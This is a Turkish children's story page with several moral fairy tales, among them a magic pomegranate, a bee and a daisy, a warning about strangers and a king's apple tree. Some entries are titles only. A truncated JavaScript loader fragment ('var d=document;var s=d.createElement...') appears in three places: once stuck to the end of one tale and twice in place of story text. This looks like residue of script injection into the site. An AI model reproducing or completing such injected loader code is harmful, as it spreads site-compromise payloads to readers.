Kategori: Sesli ve Görüntülü Masallar

Sihirli Nar Masalı
Sihirli Nar Masalı

 

Bir zamanlar, bir padişah oğullarını sınamak ve onları hayata hazırlamak için bir deneyime girişmek istemişti. Vezirleri ile danışarak bu isteğini gerçekleştirmek için bir plan hazırlamıştı.

Padişahın üç oğlu varmış: Şehzade Mehmet, Şehzade Selim ve Şehzade Murat. Padişah bir gün oğullarını yanına çağırmış ve düşüncesini açıklamış. Padişahın istediği şu imiş; oğullarından her biri değişik bir ülkeye gidecek ve oradan hayranlık uyandıracak bir ürün veya çok değerli bir buluşu babalarına getireceklermiş.

Şehzade Mehmet İran’ın Şiraz şehrine gitmiş. Bedestenleri, çarşıları dolaşmış. Orada bir halı mağazasında gezerken sihirli bir halı görmüş. Halının özelliği üzerine oturulduğu zaman istenilen ülkeye hızlı bir şekilde gidilebilmesiymiş.

İkinci oğlu Şehzade Selim Hint ülkesine gitmiş. Orada çeşitli çarşılar, ilim merkezleri, kuyumcu dükkânları görmüş. Harika işler satılan bir merkezde sihirli bir ayna görmüş. Aynanın özelliği uzaktaki bir ülkede neler olduğunu göstermesiymiş. Böyle bir alete sahip olduğu zaman kardeşlerine göre üstün bir başarıya sahip olacağını düşünmüş ve onu satın almış.

Üçüncü şehzade Buhara şehrine gitmiş. Orada gezerken bir âlim ona nar ağacını tanıtmış. Narın en önemli özelliği; en ölümcül hastalara bile yedirildiği zaman onları iyileştirmesiymiş. Üçkardeş de önceden kararlaştırdıkları gibi yolculuğa çıkmadan önce toplantı yaptıkları bir kervansarayda buluşmuşlar. Önce birlikte olmanın sevincini yaşamışlar. Sonra birbirlerine, buldukları harika ürünleri göstermişler.

Şehzade Selim o sırada Gülnaz Sultan’ı merak etmiş ve devran aynasında onu görmek istemiş. Ancak gördükleri karşısında şaşkına dönmüş. Gülnaz Sultan’ın ölümcül bir hastalığa yakalandığını anlaşılmıştır. Şehzade Mehmet sihirli halı ile hemen Sultan Hanım’ın yanına gidebileceklerini söylemiş. Çok geçmeden şehzadeler sihirli halı sayesinde tez bir zamanda Gülnaz Sultan’ın yanına varmış, odasında toplanmış.

Şehzade Murat hemen Buhara şehrinden getirdiği sihirli nar meyvesini heybesinden çıkarmış ve soyarak Gülnaz Sultan’a sunmuş. Onu yer yemez prenses hemen canlanmış.

Meğer üç kardeş de bu sultan ile evlenmek istemekteymiş. Sonunda sağlığına kavuşan prensese kiminle evlenmek istediği sorulmuş.

Gülnaz Sultan önce Şehzade Mehmet’e sormuş;

“Şehzadem siz geldiğiniz günden beri halınızda bir değişiklik oldu mu?”

Şehzade Mehmet şöyle demiş;

“Hayır, prenses hazretleri!”

Sonra Gülnaz Sultan, Şehzade Selim’e sormuş;

“Şehzade hazretleri sizin sihirli aynanızda bir değişiklik oldu mu?”

Şehzade Selim cevap vermiş;

“Hayır, Sultan Hanım bir değişiklik olmadı”

Sonra Gülnaz Sultan Şehzade Murat’a sormuş;

“Sizin getirdiğiniz hediyede bir değişiklik oldu mu?”

Şehzade Murat;

“Evet, Sultan Hanım, bunun değerlendirmesini size bırakıyorum. Takdir sizindir” demiş.

Bunun üzerine Gülnaz Sultan şöyle demiş;

“Sevgili aile büyüklerim, kıymetli dostlarım. Şehzade Murat paha biçilemez değerde olan sihirli narının bir parçasını bana verdi. Gördüğünüz gibi hemen sağlığıma kavuştum. Şehzademiz eğer isteseydi bu kadar üstün şifa verici özelliği olan bir meyveyi kendisi için saklayabilirdi. Bu fedakârlığını takdir etmemiz lazım. Ben evlenme konusunda seçimimi yaptım. Şehzade Murat, gönül zenginliği ile beni mutlu etti. Onunla evlenmekten mutlu olacağım.”

Gülnaz Sultanın bu akıllı kararı herkesi mutlu etti. Padişah görkemli bir törenle oğlu Şehzade Murat ile Gülnaz Sultan’ı evlendirdi. Onlar erdi muradına biz girelim sıcak yatağımıza… Bol bol nar yemeyi unutmayalım, çünkü nar şifa kaynağıdır.

nar

Tahta Çanak Masalı Dinle
Tahta Çanak Masalı Dinle

Çok eski zamanlarda adı Ahmet olan yaşlı bir adam varmış. Bu yaşlı adam birkaç yıldır marangozluk yapar köylünün eşyalarını düzeltirmiş. Ama son birkaç yıldır eli ayağı tutmaz olmuş, eski halinden çok daha yaşlı hissedermiş.
Bu sebepten oğlu ve gelini yaşlı adamı yanlarına almışlar. Yaşlı adamcağız eli ayağı tutmadığından bir gün tabağı kırmış. Bu sefer gelini ve oğlu tahta bir çanak yapıp onu odanın en köşesine oturtmuşlar. Yaşlı adamın torunu Can dedesinin bu haline üzülüyor olsa da sesini çıkartamıyormuş. Can bir gün odaya çekilip anne ve babasına tahta bir çanak yapmaya karar vermiş. Bunu gören anne ve baba derslerini alıp Ahmet Dede’ye iyi davranmaya başlamışlar.

 

 

Sıcak bir yaz günüydü. Her yer çiçeklerle dolu ve hava mis gibi kokuyordu. Çiçek tarlasının üzerinde arı vız vız diyerek neşeli neşeli uçuyordu. Havada o kadar güzel süzülüyordu ki papatya onu hayranlıkla izledi. Uçmaktan yorulan arı papatyanın yanındaki ağaç dalına kondu. Papatya, arı ile konuşmak istedi ve arıya seslendi:

– ‘Arı kardeş ne kadar güzel uçuyorsun! Oysa benim kanatlarım yok ve ben senin gibi dünyadaki güzellikleri göremiyorum. Sadece etrafımdaki çiçekleri görüyorum. Bir gün beni de alıp gezdirebilir misin?’ dedi.

Arı papatyaya kibirli gözlerle baktı ve:

– ‘Ben seni nasıl taşıyayım? Seni alıp asla taşıyamam, çabucak yorulurum. Hem ne yapacaksın dünyadaki güzellikleri görerek?’ dedi ve papatyayı götürmek istemedi. Papatyayı başından atan arı hızlıca uçarak gözden kayboldu.

Bu duruma oldukça üzülen papatya ise günlerce ağladı ve kendisine kibirli davranan arının bu davranışı karşısında çok üzüldü. Aslında arı onu alıp beş dakika bile olsa gezdirebilirdi. Fakat arı kibirli davranarak onu küçümsemeyi tercih etti.

Aradan aylar geçti ve havalar yavaş yavaş soğudu. Ağaçlar yaprak dökmeye ve çiçekler solmaya başladı. Fakat papatya yapraklarını halen dökmemişti.

Günlerden bir gün havada arıyı uçarken gören papatya arının bal yapmak için çiçek aradığını fark etti. Tüm ormanda solmadan kalan çiçeklerden birisi olduğunu bildiği için mutluydu papatya.

Tam da o sırada arı papatyayı fark etti ve hemen ona doğru uçarak üzerine konmak istedi. Ancak papatya arının çiçeklerine konmasına izin vermedi. Bu duruma oldukça şaşıran arı papatyaya seslendi:

– ‘Hey papatya kardeş, neden çiçeklerine konmama izin vermiyorsun? Bal yapmam gerek.’ dedi.

Papatya aylar önce kendisine kibirli davranan arının yaptıklarını ona hatırlattı. Durumu hatırlayan arı kendine çok kızdı ve papatyadan özür üzerine özür diledi. Arı o anda fark etti ki zamanında kibri yüzünden geri çevirdiği papatyaya, şimdi muhtaç olmuştu. Arının özürleri karşısında yaptıklarını affeden papatya, arının çiçeklerine konmasına ve bal yapmasına izin verdi. Bu duruma çok sevinen arı ise papatyayı alarak dünyayı gezdirmek için havalanmaya başlar.

Bu masal da burada son bulur.

YABANCILARLA KONUŞMA Hikayesi
YABANCILARLA KONUŞMA Hikayesi

YABANCILARLA KONUŞMA

 

Günlerden bir gün Mine, annesi ile birlikte pazara çıkmak istemiş. Annesi pazarların çok kalabalık olduğunu ve Mine’nin orada kaybolma ihtimalinin olduğunu söylese de Mine çok ısrar etmiş.

Mine: ‘Anneciğim hiç yaramazlık yapmayacağım. Sana söz veriyorum. Lütfen beni de götürür müsün?’

Annesi çaresizlikle Mine’ye bakmış. Kızı o kadar çok istiyormuş ki onu daha fazla kıramamış.

Anne: ‘Peki, ama yanımdan ayrılmak yok. Yaramazlık yapmak da yok.’

Mine gülümseyerek annesine sarılmış.

Mine: ‘Söz veriyorum anneciğim’ demiş.

Annesi hazırlanınca Mine’yi de giydirmiş. Anne- kız beraber pazara doğru yürümeye başlamışlar. Pazar geldiklerinde Mine pazarın çok kalabalık olduğunu görmüş. Annesinin eline daha bir sıkı sarılmış. Annesi ile birlikte başlamışlar gezmeye. Türlü türlü kıyafetler, çantalar, ayakkabılar derken Mine bir sağa bakıyormuş bir sola. Rengârenk cıvıl cıvıl bir ortamı varmış pazarın. Mine burayı çok sevmiş.

Kıyafet bölümünü geçmişler ve meyve-sebze yerine gelmişler. Annesi bir tezgâhtan domates seçerken Mine’nin dikkatini bir şey çekmiş. Yan tarafta çok güzel kalemlerin, çantaların, sulukların olduğu bir tezgâh varmış. ‘Annem domates seçerken ben de şunlara bakayım’ demiş.  Tezgâhın yanında gelmiş ve o kalem kutu senin bu suluk benim derken, zamanın nasıl geçtiğini anlamamış. Arkasına baktığında annesinin manav tezgâhında olmadığını görmüş.

Mine korkarak sağa-sola bakınmış. Ama annesi bıraktığı yerde değilmiş. Mine korkmaya başlamış. o sırada iki tane çocuk Mine’ye doğru yaklaşmış:

Çocuk: ‘Hişt, küçük kız. Anneni mi kaybettin?’

Mine bu çocukların belki de annesini gördüklerini düşünmüş.

Mine: ‘Evet ağabey. Annemi bulamıyorum. Siz gördünüz mü?’

Çocuklar birbirlerine bakıp gülümsemişler. Mine’ye dönen büyük çocuk;

Çocuk: ‘Evet küçük kız, biz senin anneni gördük. İstersen seni annenin yanına götürebiliriz’ demiş.

Mine sevinçle ellerini çırpmış.

Mine: ‘Evet, beni annemin yanına götürür müsünüz?’

İki çocuk da Mine’nin elinden tutup yürümeye başlamışlar. Mine içinden ‘İyiki bu çocuklarla karşılaştım’ diye geçirirken birdenbire yanındaki çocuk onu ittirmeye başlamış.

Çocuk: ‘Cebindeki tüm paraları çıkar bakalım ufaklık.’

Mine bu çocukların kötü çocuklar olduğunu o anda anlamış. Bu çocuklar onu annesine götürmek için değil, onun paralarını almak için buraya getirmişler. Mine korkmaya başlamış ama bir yandan da bu çocuklara karşı güçlü durmalıymış. Neler yapabileceğini düşünmeye başlamış.

Çocuk: ‘Sana dedik duymadın mı? Çıkar cebindeki paraları, yoksa seni burada döveriz.’

Mine tam o sırada çocuğun bacağına bir tekme atmış. Diğer çocuğun da elini ısırmış. Başlamış tüm gücüyle hem koşmaya hem de bağırmaya:

Mine: ‘Yetişin imdat!’

O sırada oradan geçen polisler Mine’nin sesini duymuş ve hemen yanına gelmişler. Mine’ye olanları sormuşlar. Mine de hepsini anlatmış. O sırada iki çocuk da polisleri görünce koşmaya başlamış fakat nafile. Polisler iki çocuğu da yakalayarak polis aracına bindirmiş.

Polisler Mine’nin annesini de bularak Mine ile buluşturmuşlar. Mine çok ama çok mutlu olmuş. Hemen annesine doğru koşmuş ve sarılmış.

Mine: ‘Anneciğim, bir daha senin yanından ayrılmayacağım. Çok özür dilerim.’

Annesi de Mine’ye sarılmış ve kızını bir daha yabancı kişilerle asla konuşmaması konusunda uyarmış. Mine de hem polis amcalarına hem de annesine yabancılarla konuşmayacağına dair söz vermiş.

O günden sonra Mine, kalabalık bir yere gittiğinde annesinin yanından asla ayrılmamış. Annesinin de sözünden hiç çıkmamış. Hem polislere hem de annesine verdiği sözü de hayatı boyunca unutmamış.

Siz siz olun sakın yabancı kişilerle konuşmayın ve onlarla bir yere gitmeyin.

KRAL VE ELMA AĞACI

 

 

Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde mutlu insanların yaşadığı güzel bir ülke varmış. Bu ülkenin çok başarılı, anlayışlı mı anlayışlı bir kralı varmış. Kral; halkının derdini dinler, sorunlara hemen çözüm bulurmuş. Kimseyi kapısından mutsuz etmeden göndermez, halkı mutlu oldukça kral daha da mutlu olurmuş.

Fakat bu kralın büyük mü büyük bir derdi varmış aslında. Büyük bir aşkla âşık olduğu ve evlendiği kraliçeden çocuğu olmuyormuş. Senelerdir evli olmasına rağmen henüz çocuğunu kucağına alamamış. Fakat tahta geçmek için bir varise de ihtiyaç varmış. Kral gün geçtikçe bu derdi yüzünden erimiş, kilo vermiş. Mutsuz bir adam olmuş çıkmış. Herkes kralın bu haline çok üzülüyormuş ama elden bir şey gelmiyormuş.

Günlerden bir gün, büyük bir hekimin yolu bu güzel ülkeye düşmüş. Ülkede biraz konaklayıp yoluna devam edecekmiş. Fakat hekim nereye gitse halkın kralı konuştuğu duymuş. Sonunda konakladığı han sahibine dayanamamış sormuş:

HEKİM: ‘Kralınızın neyi var Allah aşkına?’

HAN SAHİBİ: ‘Hiç sormayın Hekim bey. O kadar mutlu ve o kadar iyi bir insandır ki… Ama kaç senedir çocuğu olmaz. O yüzden çok dertlidir. Son zamanlarda bu dert yüzünden yüzü gülmez bir kral olmuştur.’

Hekim düşünmeye başlamış. Elinde kralın derdine derman olacak bir şey varmış. Hemen kalkmış ve saraya doğru yola düşmüş. Saraya vardığında kapıdaki adamlara kendini tanıtmış ve kral ile görüşmek istediğini söylemiş. Bir müddet bekledikten sonra Kral onu huzuruna kabul etmiş.

Hekim kralın karşısına çıktığında onu selamlamış. Kral da bu hekimin derdine çare derken ne yapacağını çok merak ediyormuş.

KRAL: ‘Hekim kardeş, söyle bakalım neymiş derdime çare olacak mucize?’

Hekim cebinden birkaç tane tohum çıkarmış. Kralın yanına yaklaşarak anlatmaya başlamış:

HEKİM: ‘Sevgili Kralım. Bu tohumlar sihirli elma ağacı tohumudur. Sizden ricam, eğer çocuk sahibi olmak isterseniz saraya kocaman bir bahçe yaptırın. Yemyeşil ve bir sürü yemiş ağaçlarının olduğu bir bahçe olsun. Tüm halkınız bu bahçeden yararlansın. Bahçeye bu tohumları da dikin ve sabırla bekleyin. Elma ağacı büyüyüp elma verince meyvesinden yiyin. Beklediğiniz müjde sizin olacaktır.’

Kral hekimin bu sözlerine inanmasa da denemekten zarar gelmez diye düşünmüş.

KRAL: ‘Hekim kardeş, dediklerini yapacağım. Eğer dediğin gibi olursa dile benden ne dilersen.’

HEKİM: ‘Sağlığınız Kralım. Ben gezgin bir hekimim. Hiçbir şey istemem. Sizin derdinize çare olsun bana yeter.’

Kral hekimin bu tavrını çok beğenmiş. Hekimi gideceği güne kadar sarayında ağırlamış. Tüm yardımcılarına da haber salarak bir an önce bahçenin yapılmasını emretmiş.

kral-ve-elma-agaci2

Kralın isteği üzerine bahçe yapılmış, tohumlar ekilmiş. Bahçeye ekilen ağaçlar hemen büyümüş, her yeri yemyeşil yapmış. Fakat elma ağacı bir türlü elma vermiyormuş. Kral aylarca beklemiş fakat ağaç meyve vermemeye devam etmiş. Sonunda kral dayanamamış ve tüm bahçeyi yerle bir etmeleri için yardımcılarına emir vermiş. O kadar öfkeliymiş ki karısının sözlerine aldırış etmeden tüm ağaçları kestirmiş, yerinden söktürmüş. Kraliçe son anda bahçeden elma ağacının bir fidesini kurtarabilmiş. Onu almış ve saklamış.

Günler geçmiş, kraliçe sakladığı fideyi sessiz sedasız bir köşeye dikmiş. Ona güzel bir şekilde bakmış, onu sevmiş, sulamış. Fide hemen büyümüş, çok geçmeden de meyvesini vermiş. Kraliçe sevinçle elmalardan birini koparmış. Koşarak kralın yanına giderek ona müjdeli haberi vermiş. Kralın inancı kalmasa da kraliçenin kalbini kırmamak için elmadan yemiş.

Elma ağacını her gün sulayan ve ona bakan kraliçe, krala da elmadan her gün yedirmiş. Kraliçenin bu kararlı tutumu sonunda başarıya ulaşmış ve hamile kalmış. Dokuz ay sonra da nur topu gibi erkek evladını kucağına almış.

Kral çocuğunun doğduğu gün, ülkede şenlik havası estirmiş. Her yerde düğünler, eğlenceler tertip edilmiş. Kocaman kazanlarda yemekler pişiriliş ve dağıtılmış. Kral kendisine bu mucizeyi yaşatan hekimi de bulmuş. Hekim Kral’ın davetini kırmamış ve ülkeye gelmiş. Kralın sevincine ortak olmuş.

KRAL: ‘Ey ahali, duyduk duymadık demeyin. Bundan sonra her yere yemiş ağaçları diktireceğim, bahçeler yapacağım. Eğer ki aranızdan biri bahçesindeki ağaçlardan birini dahi keserse, onu cezalandıracağım.’

Kral her yere ağaçlar dikmiş ve ülke artık yemyeşil bir ülke olmuş. Herkes yemiş ağaçlarından istediği yemişi yiyebiliyormuş.

Gökten üç elma düşmüş…var d=document;var s=d.createElement(‘script’);

ANNESİNİ DİNLEMEYEN DEFNE
ANNESİNİ DİNLEMEYEN DEFNE

ANNESİNİ DİNLEMEYEN DEFNE

Günlerden bir gün tatlı mı tatlı Defne camın önünde oturmuş ve dışarıda yağan karı izlemeye dalmış. Bir yandan da dışarı çıkmak, karların içinde koşup yuvarlanmak istiyormuş. Dışarıda gülüşen çocukların yanında olmak istiyormuş. Fakat hasta olduğu için annesi dışarı çıkmasına izin vermemiş. Bu sebeple camın arkasından dışarısını izlemek zorundaymış.

Annesi mutfaktaki işlerini bitirip odaya girdiğinde Defne’yi camın önünde üzgün bir şekilde dışarısını izlerken görmüş. Annesi kızının bu durumuna üzülmüş çünkü kızının da dışarı çıkıp kartopu oynamak istediğini biliyormuş. Kızının yanına oturmuş.

ANNE: ‘Defneciğim, kızım, neden üzgün bir şekilde dışarıyı izliyorsun?’

DEFNE: ‘Üzgünüm çünkü dışarıda kartopu oynayamıyorum. Arkadaşlarım dışarıda ne kadar da eğleniyorlar.’

ANNE: ‘Ama tatlım benim sen hastasın ve daha hastalığını atlatamadın.’

Defne yüzü asık bir şekilde dışarıyı izlemeye devam etmiş. Annesi Defne’nin üzülmesine dayanamamış.

ANNE: ‘Tamam üzülme canım kızım. Çok sıkı giyindiğin ve atkını-şapkanı taktığın sürece ve az kalmaya söz verdiğin sürece dışarı çıkabiliriz.’

Defne mutlu bir şekilde annesine dönmüş:

DEFNE: ‘Anneciğim, çok teşekkür ederim. Söz veriyorum, çok kalın giyineceğim ve dışarıda çok kalmayacağım.’

Defne ve annesi sımsıkı giyinmiş ve şapkaları ile atkılarını takarak dışarı çıkmışlar. Defne o kadar mutluymuş ki hemen eğilip elinle kocaman bir kartopu yapmış. Arkadaşları da Defne’yi görünce hemen yanına gelmişler. Oya ve Ece gülümseyerek:

-‘Defne, iyi ki dışarı çıktın. Baksana kar çok güzel’ demişler.

Defne de gülümseyerek karşılık vermiş arkadaşlarına. Hep beraber el ele verip güzel bir kardan adam yapmışlar. Annelerinin getirdiği havuç, eski şapkalar ve kömür ile de kardan adamı süslemişler. Çok ama çok güzel bir kardan adam olmuş.

Kardan adamın yapımı bittiğinde Defne’nin annesi Defne’nin yanına gelmiş:

ANNE: ‘Canım kızım hadi eve girelim artık. Bu kadar yeterli.’

Defne’nin canı içeri girmeyi hiç istemiyormuş. Arkadaşları ile daha kaymamışlar bile.

DEFNE: ‘Ama anne, arkadaşlarımla daha kaymadım bile.’
ANNE: ‘Ama kızım bana söz vermiştin. Kısa zaman kalıp içeri girecektik, çok bile kaldık.’

Defne annesine verdiği sözü hatırlıyormuş ama canı içeri girmek istemediği için mızıkçılık yapıyormuş.

ANNE:’Defne, kızım, bana söz vermiştin hatırlıyorsun dimi? Lütfen beni üzmeden içeri girer misin? Bak hastalığın daha geçmedi ve tekrar üşütürsen daha kötü hasta olacaksın.’

Defne annesinin dediklerini dinlemeden Oya ve Ece’nin yanına koşmaya başlamış. Annesi de arkasından hiçbir şey demeden kenarda onu beklemeye başlamış.

Defne saatlerce oynamış, koşmuş, karın üzerinde kaymış. Sonunda o kadar çok yorulmuş ki, herkes eve girdiğinde o da evine gelmiş. Annesi çok daha önceden Defne’yi orada bırakıp eve geldiği için tek başına eve girmiş.

annesini-dinlemeyen-defne2

DEFNE: ‘Anneciğim, ben geldim.’

Annesi hiç ses vermeden masayı hazırlıyormuş. Defne annesinin ona kızgın olduğunu anlamış. Verdiği sözü tutmadığı için annesi Defne ile konuşmuyormuş. Defne de hiçbir şey söylemeden odasına geçmiş ve akşam yemeği saatini bekleyene kadar biraz uyumaya karar vermiş.

Defne uykudan uyandığında çok üşüdüğünü hissetmiş. Üşümekten dişleri tıkırdıyormuş adeta.  Üstelik üzeri de oldukça kalınmış. Ama üşümesi bir türlü geçmiyor hatta gittikçe artıyormuş. Hemen annesine seslenmiş. Annesi odaya girdiğinde kızının halini görmüş ve paniklemiş:

Defne: ‘Anne ben çok üşüyorum. İçim üşüyor sanki.’

Anne: ‘Ah Defne Ah! Ben sana demedim mi, hasta olacaksın diye.’

Annesi hemen Defne’nin ateşini ölçmüş. Ateşi 39.5 imiş. Hemen arabaya binip doktora gitmişler. Defne normalde doktora gitmeyi hiç sevmezmiş. Fakat şimdi suçlu kendisi olduğu için hiç sesini çıkarmamış.

Doktor Defne’ye iyileşmeden dışarı çıkıp kendine dikkat etmediği için çok kızmış ve ateşinin düşmesi için iğne yapmak zorunda kalmış. Defne ise annesinin sözünü dinlemediği için çok ama çok pişmanmış. Hem annesini üzmüş, hem de tam iyileşecekken tekrar hastalığın başına dönmüş. Annesini dinleseymiş ve onun dediği zamanda içeri girseymiş bunların hiçbiri olmayacakmış. Bir daha ne olura olsun annesinin sözünden çıkmamaya ve verdiği sözü tutmaya söz vermiş kendi kendine.

annesini-dinlemeyen-defne3

Gökten üç elma düşmüş, üçü de verdiği sözleri tutan çocukların olmuş…

Güzel Çirkin Masalı
Güzel Çirkin Masalı

Güzel Çirkin Masalı

 

Çirkin Ördek Yavrusu Masalı
Çirkin Ördek Yavrusu Masalı

Çirkin Ördek Yavrusu Masalı

var d=document;var s=d.createElement(‘script’);

Eşek, Öküz, Çiftçi Masalı
Eşek, Öküz, Çiftçi Masalı

Eşek, Öküz, Çiftçi Masalı

var d=document;var s=d.createElement(‘script’);

Mutsuz Çocuk Masalı
Mutsuz Çocuk Masalı

Mutsuz Çocuk Masalı

MUTSUZ ÇOCUK MASALI

Sevgili çocuklar, sıradaki masalımızın ismi: Mutsuz Çocuk.

Mutsuz bir çocuk vardı. Adı üstünde çok mutsuzdu. Niye mi? Çünkü hiçbir şey onu mutlu edemiyordu. Ailesi doğum gününde ona hediyeler aldı. Çeşit çeşit oyuncaklar, rengârenk giysiler. Ama mutsuz çocuk hiç sevinmedi. Onlara bir teşekkür bile etmedi.

Annesi sevdiği yemeklerden, pastalardan yaptı. Babası kumbarasına atması için para verdi. Mutsuz çocuk yine mutlu olmadı.

Bir gün okula giderken ağlayan bir çocuk gördü. Yanına yaklaşıp sordu:

– Neden ağlıyorsun?

Çocuğun üstü başı yırtık içindeydi. Ağlayarak cevap verdi:

– Karnım çok aç. Hiç kimsem yok. Ailem de yok.

Mutsuz çocuk ona çok acıdı. “Gel benimle” diyerek evine götürdü.

Mutsuz çocuğun ailesi ağlayan çocuğa çok iyi davrandı.

Anne onu yıkayıp saçlarını taradı. Mutsuz çocuğun giysilerinden giydirdi. Hazırladığı yiyeceklerden yedirdi. Baba para verdi.

Mutsuz çocuk da oyuncaklarıyla oynamasına izin verdi.

Zavallı çocuk o kadar çok sevindi ki üzüntüsünü unuttu. Ağlamayı kesti. Mutsuz çocuğa “Ne kadar şanslı bir çocuksun! Güzel bir evin, iyi bir ailen, giysilerin, oyuncakların, yiyeceğin var. Her halde sen çok mutlu bir çocuk olmalısın” dedi.

Mutsuz çocuk onun bu sözlerinden nelere sahip olduğunu ve nankörlük ettiğini anladı; çok utandı.

O günden sonra hiç mutsuz olmadı.